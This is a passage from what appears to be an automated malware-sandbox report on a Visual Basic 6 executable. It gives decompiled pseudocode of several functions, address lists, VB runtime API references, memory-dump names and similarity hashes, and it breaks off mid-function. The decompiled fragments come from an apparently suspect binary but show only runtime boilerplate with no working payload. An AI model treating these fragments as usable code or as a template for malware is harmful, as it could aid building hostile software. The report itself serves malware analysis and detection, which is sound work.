					_push(_v96);
					L004016CE();
					_v152 = _t150;
				}
				L0040169E();
				_v28 =  *0x4012d0;
				asm("wait");
				_push(0x4168a3);
				return _t150;
			}

0x00416505
0x00416514
0x00416520
0x00416528
0x0041652b
0x00416532
0x00416541
0x0041654b
0x00416565
0x0041654d
0x0041654d
0x00416552
0x00416557
0x0041655c
0x0041655c
0x00416576
0x00416580
0x00416584
0x00416589
0x0041658c
0x00416593
0x0041659a
0x004165a1
0x004165a8
0x004165af
0x004165b9
0x004165c3
0x004165c4
0x004165c5
0x004165c6
0x004165ca
0x004165d4
0x004165d5
0x004165d6
0x004165d7
0x004165db
0x004165e5
0x004165e6
0x004165e7
0x004165e8
0x004165e9
0x004165f0
0x004165fb
0x00416601
0x00416603
0x0041660a
0x00416626
0x0041660c
0x0041660c
0x00416611
0x00416616
0x00416619
0x0041661c
0x00416621
0x00416621
0x0041662d
0x00416639
0x00416653
0x0041663b
0x0041663b
0x00416640
0x00416645
0x0041664a
0x0041664a
0x0041666e
0x00416672
0x00416677
0x00416686
0x0041668c
0x0041668e
0x00416695
0x004166b1
0x00416697
0x00416697
0x0041669c
0x004166a1
0x004166a4
0x004166a7
0x004166ac
0x004166ac
0x004166bc
0x004166d6
0x004166be
0x004166be
0x004166c3
0x004166c8
0x004166cd
0x004166cd
0x004166e7
0x004166f1
0x004166f5
0x004166fa
0x004166fd
0x00416704
0x0041670b
0x00416712
0x00416719
0x00416720
0x0041672a
0x00416734
0x00416735
0x00416736
0x00416737
0x0041673b
0x00416745
0x00416746
0x00416747
0x00416748
0x0041674c
0x00416756
0x00416757
0x00416758
0x00416759
0x0041675e
0x00416764
0x0041676a
0x00416777
0x00416782
0x00416788
0x0041678a
0x00416791
0x004167b0
0x00416793
0x00416793
0x00416798
0x0041679d
0x004167a0
0x004167a3
0x004167a8
0x004167a8
0x004167ba
0x004167be
0x004167bf
0x004167c1
0x004167d0
0x004167ed
0x004167d2
0x004167d2
0x004167d7
0x004167dc
0x004167e1
0x004167e1
0x00416811
0x00416815
0x0041681a
0x0041681d
0x00416821
0x0041682b
0x00416835
0x00416836
0x00416837
0x00416838
0x00416841
0x00416847
0x00416849
0x00416850
0x0041686f
0x00416852
0x00416852
0x00416857
0x0041685c
0x0041685f
0x00416862
0x00416867
0x00416867
0x00416879
0x00416884
0x00416887
0x00416888
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00416520
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 00416557
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416584
__vbaChkstk.MSVBVM60(?,00000000), ref: 004165B9
__vbaChkstk.MSVBVM60(?,00000000), ref: 004165CA
__vbaChkstk.MSVBVM60(?,00000000), ref: 004165DB
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031F0,00000178,?,?,00000000), ref: 0041661C
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 0041662D
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,00000000), ref: 00416645
__vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 00416672
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000000D8,?,?,00000000), ref: 004166A7
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,00000000), ref: 004166C8
__vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 004166F5
__vbaChkstk.MSVBVM60(?,00000000,?,?,00000000), ref: 0041672A
__vbaChkstk.MSVBVM60(?,00000000,?,?,00000000), ref: 0041673B
__vbaChkstk.MSVBVM60(?,00000000,?,?,00000000), ref: 0041674C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040316C,00000204,?,?,00000000,?,?,00000000), ref: 004167A3
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,00000000,?,?,00000000), ref: 004167C1
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,004014D6), ref: 004167DC
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416815
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041682B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000228), ref: 00416862
__vbaFreeObj.MSVBVM60 ref: 00416879

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckHresultNew2$Free$List
String ID:
API String ID: 258320916-0
Opcode ID: d595bd98afcdc86c0621d62b8961ceabafeb56e74788f6c102dc2e5a88a78afa
Instruction ID: 17db23d6ce2b323cb12097f5063a9d5621a2173873d0467c03a1d5111a7c3f48
Opcode Fuzzy Hash: d595bd98afcdc86c0621d62b8961ceabafeb56e74788f6c102dc2e5a88a78afa
Instruction Fuzzy Hash: 15B12770900218EFCB10DFA1D849BDDBBB5BF09308F10446AF541BB2A5CBBA5985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004181FF, Relevance: 24.1, APIs: 16, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E004181FF(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v56;
				intOrPtr _v64;
				intOrPtr _v72;
				intOrPtr* _v76;
				signed int _v80;
				intOrPtr* _v92;
				signed int _v96;
				intOrPtr* _v100;
				signed int _v104;
				char* _t63;
				signed int _t67;
				char* _t68;
				char* _t74;
				signed int _t78;
				void* _t95;
				void* _t97;
				intOrPtr _t98;

				_t98 = _t97 - 0xc;
				 *[fs:0x0] = _t98;
				L004014D0();
				_v16 = _t98;
				_v12 = 0x4013d0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x50,  *[fs:0x0], 0x4014d6, _t95);
				L0040168C();
				if( *0x423010 != 0) {
					_v92 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v92 = 0x423010;
				}
				_t63 =  &_v36;
				L004016B6();
				_v76 = _t63;
				_t67 =  *((intOrPtr*)( *_v76 + 0x138))(_v76,  &_v40, _t63,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x30c))( *_v92));
				asm("fclex");
				_v80 = _t67;
				if(_v80 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x4031c0);
					_push(_v76);
					_push(_v80);
					L004016CE();
					_v96 = _t67;
				}
				_push(0);
				_push(0);
				_push(_v40);
				_t68 =  &_v56;
				_push(_t68);
				L004016BC();
				_push(_t68);
				L00401692();
				_push(_t68);
				E00402E00();
				L00401680();
				_push( &_v40);
				_push( &_v36);
				_push(2);
				L004016B0();
				L004016AA();
				if( *0x423010 != 0) {
					_v100 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v100 = 0x423010;
				}
				_t74 =  &_v36;
				L004016B6();
				_v76 = _t74;
				_v64 = 0x80020004;
				_v72 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t78 =  *((intOrPtr*)( *_v76 + 0x220))(_v76, 0x10, _t74,  *((intOrPtr*)( *((intOrPtr*)( *_v100)) + 0x30c))( *_v100));
				asm("fclex");
				_v80 = _t78;
				if(_v80 >= 0) {
					_v104 = _v104 & 0x00000000;
				} else {
					_push(0x220);
					_push(0x4031c0);
					_push(_v76);
					_push(_v80);
					L004016CE();
					_v104 = _t78;
				}
				L0040169E();
				_v28 =  *0x4013c8;
				asm("wait");
				_push(0x4183e6);
				L004016D4();
				return _t78;
			}

0x00418202
0x00418211
0x0041821b
0x00418223
0x00418226
0x0041822d
0x0041823c
0x00418245
0x00418251
0x0041826b
0x00418253
0x00418253
0x00418258
0x0041825d
0x00418262
0x00418262
0x00418286
0x0041828a
0x0041828f
0x0041829e
0x004182a4
0x004182a6
0x004182ad
0x004182c9
0x004182af
0x004182af
0x004182b4
0x004182b9
0x004182bc
0x004182bf
0x004182c4
0x004182c4
0x004182cd
0x004182cf
0x004182d1
0x004182d4
0x004182d7
0x004182d8
0x004182e0
0x004182e1
0x004182e6
0x004182e7
0x004182ec
0x004182f4
0x004182f8
0x004182f9
0x004182fb
0x00418306
0x00418312
0x0041832c
0x00418314
0x00418314
0x00418319
0x0041831e
0x00418323
0x00418323
0x00418347
0x0041834b
0x00418350
0x00418353
0x0041835a
0x00418364
0x0041836e
0x0041836f
0x00418370
0x00418371
0x0041837a
0x00418380
0x00418382
0x00418389
0x004183a5
0x0041838b
0x0041838b
0x00418390
0x00418395
0x00418398
0x0041839b
0x004183a0
0x004183a0
0x004183ac
0x004183b7
0x004183ba
0x004183bb
0x004183e0
0x004183e5

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 0041821B
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00418245
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 0041825D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041828A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000138), ref: 004182BF
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 004182D8
__vbaI4Var.MSVBVM60(00000000,?,?,?,004014D6), ref: 004182E1
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,004014D6), ref: 004182EC
__vbaFreeObjList.MSVBVM60(00000002,00000000,00000000,00000000,00000000,?,?,?,004014D6), ref: 004182FB
__vbaFreeVar.MSVBVM60(?,00000000,00000000,?,?,?,004014D6), ref: 00418306
__vbaNew2.MSVBVM60(00401EF4,00423010,?,00000000,00000000,?,?,?,004014D6), ref: 0041831E
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041834B
__vbaChkstk.MSVBVM60(00000000,00000000), ref: 00418364
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000220), ref: 0041839B
__vbaFreeObj.MSVBVM60 ref: 004183AC
__vbaFreeStr.MSVBVM60(004183E6), ref: 004183E0

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2$CallCopyErrorLateListSystem
String ID:
API String ID: 3823334108-0
Opcode ID: 9f29fdcd2967c653eef6cb084160c68b13dafe34fbe86dd06fa8d34f31e5ad22
Instruction ID: e08903775bb5cbf6c3da169adf3ad650284712bae17ccb13066ef70c26133e77
Opcode Fuzzy Hash: 9f29fdcd2967c653eef6cb084160c68b13dafe34fbe86dd06fa8d34f31e5ad22
Instruction Fuzzy Hash: CB51F674A00208AFCB10EFD1D849FDDBBB9BF08705F14446AF401BB2A1CB7A6945DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004173E8, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004173E8(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				void* _v32;
				void* _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				signed int _v80;
				char* _t64;
				signed int _t67;
				signed int _t73;
				signed int _t78;
				short _t79;
				void* _t88;
				void* _t90;
				intOrPtr _t91;

				_t91 = _t90 - 0xc;
				 *[fs:0x0] = _t91;
				L004014D0();
				_v16 = _t91;
				_v12 = 0x401360;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x38,  *[fs:0x0], 0x4014d6, _t88);
				if( *0x423010 != 0) {
					_v64 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v64 = 0x423010;
				}
				_t64 =  &_v32;
				L004016B6();
				_v40 = _t64;
				_t67 =  *((intOrPtr*)( *_v40 + 0x218))(_v40, _t64,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x310))( *_v64));
				asm("fclex");
				_v44 = _t67;
				if(_v44 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x218);
					_push(0x4031c0);
					_push(_v40);
					_push(_v44);
					L004016CE();
					_v68 = _t67;
				}
				L0040169E();
				if( *0x423420 != 0) {
					_v72 = 0x423420;
				} else {
					_push(0x423420);
					_push(0x40319c);
					L004016C8();
					_v72 = 0x423420;
				}
				_t27 =  &_v72; // 0x423420
				_v40 =  *((intOrPtr*)( *_t27));
				_t73 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
				asm("fclex");
				_v44 = _t73;
				if(_v44 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40318c);
					_push(_v40);
					_push(_v44);
					L004016CE();
					_v76 = _t73;
				}
				_v48 = _v32;
				_t78 =  *((intOrPtr*)( *_v48 + 0x70))(_v48,  &_v36);
				asm("fclex");
				_v52 = _t78;
				if(_v52 >= 0) {
					_v80 = _v80 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x403468);
					_push(_v48);
					_push(_v52);
					L004016CE();
					_v80 = _t78;
				}
				_t79 = _v36;
				_v28 = _t79;
				L0040169E();
				_push(0x417570);
				return _t79;
			}

0x004173eb
0x004173fa
0x00417404
0x0041740c
0x0041740f
0x00417416
0x00417425
0x0041742f
0x00417449
0x00417431
0x00417431
0x00417436
0x0041743b
0x00417440
0x00417440
0x00417464
0x00417468
0x0041746d
0x00417478
0x0041747e
0x00417480
0x00417487
0x004174a3
0x00417489
0x00417489
0x0041748e
0x00417493
0x00417496
0x00417499
0x0041749e
0x0041749e
0x004174aa
0x004174b6
0x004174d0
0x004174b8
0x004174b8
0x004174bd
0x004174c2
0x004174c7
0x004174c7
0x004174d7
0x004174dc
0x004174eb
0x004174ee
0x004174f0
0x004174f7
0x00417510
0x004174f9
0x004174f9
0x004174fb
0x00417500
0x00417503
0x00417506
0x0041750b
0x0041750b
0x00417517
0x00417526
0x00417529
0x0041752b
0x00417532
0x0041754b
0x00417534
0x00417534
0x00417536
0x0041753b
0x0041753e
0x00417541
0x00417546
0x00417546
0x0041754f
0x00417553
0x0041755a
0x0041755f
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00417404
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 0041743B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417468
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000218), ref: 00417499
__vbaFreeObj.MSVBVM60 ref: 004174AA
__vbaNew2.MSVBVM60(0040319C,00423420), ref: 004174C2
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000014), ref: 00417506
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403468,00000070), ref: 00417541
__vbaFreeObj.MSVBVM60 ref: 0041755A

Strings

4B, xrefs: 004174D7

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$FreeNew2$Chkstk
String ID: 4B
API String ID: 2989710064-3841215673
Opcode ID: 9cdcc87d39a3aaee025873d450b8fafa37f7a85ba0515da4d9b2561d4ebc8229
Instruction ID: ed93821925564aa14a8ced114318bb51af35780d375efd2537b0968f38f6105b
Opcode Fuzzy Hash: 9cdcc87d39a3aaee025873d450b8fafa37f7a85ba0515da4d9b2561d4ebc8229
Instruction Fuzzy Hash: A241D374E00208EFCB11DFA4D845BDDBBF5BF08709F10846AE001B72A0D77969459B68

Uniqueness

Uniqueness Score: -1.00%

Function 0042040B, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0042040B(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				char _v32;
				char _v48;
				char _v64;
				char* _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				char _v112;
				void* _v116;
				void* _v120;
				signed int _v124;
				intOrPtr* _v136;
				signed int _v140;
				short _t50;
				short _t53;
				char* _t57;
				signed int _t61;
				void* _t71;
				void* _t73;
				intOrPtr _t74;

				_t74 = _t73 - 0xc;
				 *[fs:0x0] = _t74;
				L004014D0();
				_v16 = _t74;
				_v12 = 0x401420;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x74,  *[fs:0x0], 0x4014d6, _t71);
				_v88 = L"3:3:3";
				_v96 = 8;
				L00401632();
				_push( &_v48);
				_push( &_v64);
				L004015E4();
				_v104 = 3;
				_v112 = 0x8002;
				_push( &_v64);
				_t50 =  &_v112;
				_push(_t50);
				L004015EA();
				_v120 = _t50;
				_push( &_v64);
				_push( &_v48);
				_push(2);
				L0040161A();
				_t53 = _v120;
				if(_t53 == 0) {
					if( *0x423010 != 0) {
						_v136 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v136 = 0x423010;
					}
					_t57 =  &_v32;
					L004016B6();
					_v120 = _t57;
					_t61 =  *((intOrPtr*)( *_v120 + 0x1c8))(_v120,  &_v116, _t57,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x310))( *_v136));
					asm("fclex");
					_v124 = _t61;
					if(_v124 >= 0) {
						_v140 = _v140 & 0x00000000;
					} else {
						_push(0x1c8);
						_push(0x4031c0);
						_push(_v120);
						_push(_v124);
						L004016CE();
						_v140 = _t61;
					}
					_t53 = _v116;
					_v28 = _t53;
					L0040169E();
				}
				_push(0x42057b);
				return _t53;
			}

0x0042040e
0x0042041d
0x00420427
0x0042042f
0x00420432
0x00420439
0x00420448
0x0042044b
0x00420452
0x0042045f
0x00420467
0x0042046b
0x0042046c
0x00420471
0x00420478
0x00420482
0x00420483
0x00420486
0x00420487
0x0042048c
0x00420493
0x00420497
0x00420498
0x0042049a
0x004204a2
0x004204a8
0x004204b6
0x004204d3
0x004204b8
0x004204b8
0x004204bd
0x004204c2
0x004204c7
0x004204c7
0x004204f7
0x004204fb
0x00420500
0x0042050f
0x00420515
0x00420517
0x0042051e
0x0042053d
0x00420520
0x00420520
0x00420525
0x0042052a
0x0042052d
0x00420530
0x00420535
0x00420535
0x00420544
0x00420548
0x0042054f
0x0042054f
0x00420554
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00420427
__vbaVarDup.MSVBVM60 ref: 0042045F
#544.MSVBVM60(?,?), ref: 0042046C
__vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 00420487
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 0042049A
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,004014D6), ref: 004204C2
__vbaObjSet.MSVBVM60(?,00000000), ref: 004204FB
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000001C8), ref: 00420530
__vbaFreeObj.MSVBVM60 ref: 0042054F

Strings

3:3:3, xrefs: 0042044B

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#544CheckChkstkHresultListNew2
String ID: 3:3:3
API String ID: 3813578231-56740136
Opcode ID: d070aaf9f12238ad4cd81ff23e2ce8c85e6d35ebca6cc445db969fec678e44d1
Instruction ID: 3cedcf77c4b7b4915cd71b63ad676fc8d27ae827e72499b2b33fd321f89a1027
Opcode Fuzzy Hash: d070aaf9f12238ad4cd81ff23e2ce8c85e6d35ebca6cc445db969fec678e44d1
Instruction Fuzzy Hash: 5F414A71D00218AFCB10DFA1D885BDEBBB8BF04704F60856AF105BB2A1DB799A45DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00416F2F, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00416F2F(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16, void* _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr _v32;
				short _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr* _v60;
				signed int _v64;
				char _v76;
				signed int _v80;
				signed int _v84;
				signed int _t55;
				signed int _t60;
				short _t61;
				void* _t72;
				void* _t74;
				intOrPtr _t75;

				_t75 = _t74 - 0xc;
				 *[fs:0x0] = _t75;
				L004014D0();
				_v16 = _t75;
				_v12 = 0x401310;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x3c,  *[fs:0x0], 0x4014d6, _t72);
				L0040168C();
				L0040168C();
				if( *0x423420 != 0) {
					_v76 = 0x423420;
				} else {
					_push(0x423420);
					_push(0x40319c);
					L004016C8();
					_v76 = 0x423420;
				}
				_t13 =  &_v76; // 0x423420
				_v52 =  *((intOrPtr*)( *_t13));
				_t55 =  *((intOrPtr*)( *_v52 + 0x14))(_v52,  &_v44);
				asm("fclex");
				_v56 = _t55;
				if(_v56 >= 0) {
					_v80 = _v80 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40318c);
					_push(_v52);
					_push(_v56);
					L004016CE();
					_v80 = _t55;
				}
				_v60 = _v44;
				_t60 =  *((intOrPtr*)( *_v60 + 0xc0))(_v60,  &_v48);
				asm("fclex");
				_v64 = _t60;
				if(_v64 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0xc0);
					_push(0x403468);
					_push(_v60);
					_push(_v64);
					L004016CE();
					_v84 = _t60;
				}
				_t61 = _v48;
				_v36 = _t61;
				L0040169E();
				_v32 = 0x1dfd66;
				_push(0x417063);
				L004016D4();
				L004016D4();
				return _t61;
			}

0x00416f32
0x00416f41
0x00416f4b
0x00416f53
0x00416f56
0x00416f5d
0x00416f6c
0x00416f75
0x00416f80
0x00416f8c
0x00416fa6
0x00416f8e
0x00416f8e
0x00416f93
0x00416f98
0x00416f9d
0x00416f9d
0x00416fad
0x00416fb2
0x00416fc1
0x00416fc4
0x00416fc6
0x00416fcd
0x00416fe6
0x00416fcf
0x00416fcf
0x00416fd1
0x00416fd6
0x00416fd9
0x00416fdc
0x00416fe1
0x00416fe1
0x00416fed
0x00416ffc
0x00417002
0x00417004
0x0041700b
0x00417027
0x0041700d
0x0041700d
0x00417012
0x00417017
0x0041701a
0x0041701d
0x00417022
0x00417022
0x0041702b
0x0041702f
0x00417036
0x0041703b
0x00417042
0x00417055
0x0041705d
0x00417062

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00416F4B
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00416F75
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00416F80
__vbaNew2.MSVBVM60(0040319C,00423420,?,?,?,?,004014D6), ref: 00416F98
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000014), ref: 00416FDC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403468,000000C0), ref: 0041701D
__vbaFreeObj.MSVBVM60 ref: 00417036
__vbaFreeStr.MSVBVM60(00417063), ref: 00417055
__vbaFreeStr.MSVBVM60(00417063), ref: 0041705D

Strings

4B, xrefs: 00416FAD

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckCopyHresult$ChkstkNew2
String ID: 4B
API String ID: 1408746023-3841215673
Opcode ID: 73e47ad778432ec85b2cb88fb213867ec4c75ae1970f6bf182473db773a3944b
Instruction ID: 90841a3448a4021629bb2e558bd800f097470c43d6f478176fcf1ddce97d6b94
Opcode Fuzzy Hash: 73e47ad778432ec85b2cb88fb213867ec4c75ae1970f6bf182473db773a3944b
Instruction Fuzzy Hash: F931D075A00208AFCB11EF95D885BDDBBB4BF08709F10446AF401BB2A0DB799986CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004172BA, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004172BA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr* _v68;
				signed int _v72;
				char* _t39;
				signed int _t43;
				void* _t56;
				void* _t58;
				intOrPtr _t59;

				_t59 = _t58 - 0xc;
				 *[fs:0x0] = _t59;
				L004014D0();
				_v16 = _t59;
				_v12 = 0x401350;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x30,  *[fs:0x0], 0x4014d6, _t56);
				L0040168C();
				if( *0x423010 != 0) {
					_v68 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v68 = 0x423010;
				}
				_t39 =  &_v32;
				L004016B6();
				_v52 = _t39;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t43 =  *((intOrPtr*)( *_v52 + 0x1ec))(_v52, L"Housedress4", 0x10, _t39,  *((intOrPtr*)( *((intOrPtr*)( *_v68)) + 0x300))( *_v68));
				asm("fclex");
				_v56 = _t43;
				if(_v56 >= 0) {
					_v72 = _v72 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40316c);
					_push(_v52);
					_push(_v56);
					L004016CE();
					_v72 = _t43;
				}
				L0040169E();
				_push(0x4173c9);
				L004016D4();
				return _t43;
			}

0x004172bd
0x004172cc
0x004172d6
0x004172de
0x004172e1
0x004172e8
0x004172f7
0x00417300
0x0041730c
0x00417326
0x0041730e
0x0041730e
0x00417313
0x00417318
0x0041731d
0x0041731d
0x00417341
0x00417345
0x0041734a
0x0041734d
0x00417354
0x0041735e
0x00417368
0x00417369
0x0041736a
0x0041736b
0x00417379
0x0041737f
0x00417381
0x00417388
0x004173a4
0x0041738a
0x0041738a
0x0041738f
0x00417394
0x00417397
0x0041739a
0x0041739f
0x0041739f
0x004173ab
0x004173b0
0x004173c3
0x004173c8

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004172D6
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00417300
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 00417318
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417345
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041735E
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040316C,000001EC), ref: 0041739A
__vbaFreeObj.MSVBVM60 ref: 004173AB
__vbaFreeStr.MSVBVM60(004173C9), ref: 004173C3

Strings

Housedress4, xrefs: 0041736C

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckCopyHresultNew2
String ID: Housedress4
API String ID: 2888502551-152802379
Opcode ID: 450ac880686ed0429157390ee9519173f9ff2ca8fa04b953f91eb94e88e3b0ab
Instruction ID: d36816a66339a056e398365e04da7a85a32c977ff33fe4ffc9a17752d9159420
Opcode Fuzzy Hash: 450ac880686ed0429157390ee9519173f9ff2ca8fa04b953f91eb94e88e3b0ab
Instruction Fuzzy Hash: 0C310A70A00218EFCB10EF95D846FDEBBB9BF09704F10446AF901BB2A1C77A5A45DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042093A, Relevance: 15.1, APIs: 10, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0042093A(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v80;
				intOrPtr* _v84;
